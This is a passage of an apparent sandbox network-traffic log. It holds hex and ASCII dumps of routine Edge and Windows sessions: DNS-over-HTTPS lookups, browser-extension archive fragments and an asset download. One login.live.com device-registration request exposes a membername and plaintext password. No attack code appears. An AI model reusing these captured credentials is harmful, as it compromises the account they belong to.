2024-11-21 21:09:35 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-21 21:09:35 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-21 21:09:35 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-21 21:09:35 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-21 21:09:35 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-21 21:09:35 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49780	172.64.41.3	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:09:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:09:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:09:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a95e6aa65e5f-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:09:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 de 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49781	172.64.41.3	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:09:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:09:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:09:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a95eaaef437b-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:09:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 06 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49782	172.64.41.3	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:09:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:09:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:09:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a95eeb630f55-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:09:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f7 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49775	40.126.53.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:35 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-21 21:09:35 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6a 63 61 63 72 61 74 70 67 7a 63 67 68 67 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 47 4d 7a 2a 72 28 63 68 44 62 48 4f 52 6e 69 62 71 6c 4b 48 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02jcacratpgzcghg</Membername><Password>GMz*r(chDbHORnibqlKH</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
2024-11-21 21:09:45 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Thu, 21 Nov 2024 21:08:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_BL2 x-ms-request-id: 9ac3cdbb-af4d-4130-8049-ef7f998a1c14 PPServer: PPV: 30 H: BL02EPF0001DA52 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:09:44 GMT Connection: close Content-Length: 17166
2024-11-21 21:09:45 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 37 32 36 38 33 36 36 38 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 36 66 36 35 64 62 62 39 2d 34 32 39 33 2d 34 39 37 65 2d 39 34 39 31 2d 35 38 34 65 65 62 33 37 39 65 62 36 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001172683668</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="6f65dbb9-4293-497e-9491-584eeb379eb6" LicenseID="3252b20c-d425-4711
2024-11-21 21:09:45 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49785	172.64.41.3	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:09:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49786	172.64.41.3	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:09:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenet)EA
2024-11-21 21:09:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:09:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a9642ab80f78-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:09:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 05 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 06 db 00 17 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 03 61 66 64 c0 1d c0 3c 00 05 00 01 00 00 0d e3 00 22 10 61 7a 75 72 65 65 64 67 65 2d 74 2d 70 72 6f 64 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 27 c0 5f 00 05 00 01 00 00 00 0f 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 27 c0 8d 00 05 00 01 00 00 00 0f 00 02 c0 9b c0 9b 00 01 00 01 00 00 00 0f 00 04 0d 6b f6 28 00 00 29 04 d0 00 00 00 00 00 f2 00 0c 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetedgeassetserviceafd<"azureedge-t-prodtrafficmanager'_,sheddual-lows-part-0012t-0009t-msedge'k()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49808	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:38 UTC	486	OUT	GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ArbitrationService Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:38 UTC	532	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:38 GMT Content-Type: application/octet-stream Content-Length: 11989 Connection: close Last-Modified: Mon, 18 Nov 2024 20:19:33 GMT ETag: 0x8DD080E5097FBFA x-ms-request-id: f2abf3b7-301e-004d-6659-3caee5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210938Z-r1d97b99577ckpmjhC1TEBrzs00000000az000000000b04r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:09:38 UTC	11989	IN	Data Raw: 7b 0d 0a 20 20 22 63 6f 6e 66 69 67 56 65 72 73 69 6f 6e 22 3a 20 33 32 2c 0d 0a 20 20 22 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 73 22 3a 20 5b 0d 0a 20 20 20 20 22 53 68 6f 72 65 6c 69 6e 65 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 49 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 43 4f 55 50 4f 4e 53 5f 43 48 45 43 4b 4f 55 54 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 4c 4f 57 45 52 5f 50 52 49 43 45 5f 46 4f 55 4e 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 42 49 4e 47 5f 53 45 41 52 43 48 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 52 45 42 41 54 45 Data Ascii: { "configVersion": 32, "PrivilegedExperiences": [ "ShorelinePrivilegedExperienceID", "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT", "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND", "SHOPPING_AUTO_SHOW_BING_SEARCH", "SHOPPING_AUTO_SHOW_REBATE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49806	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
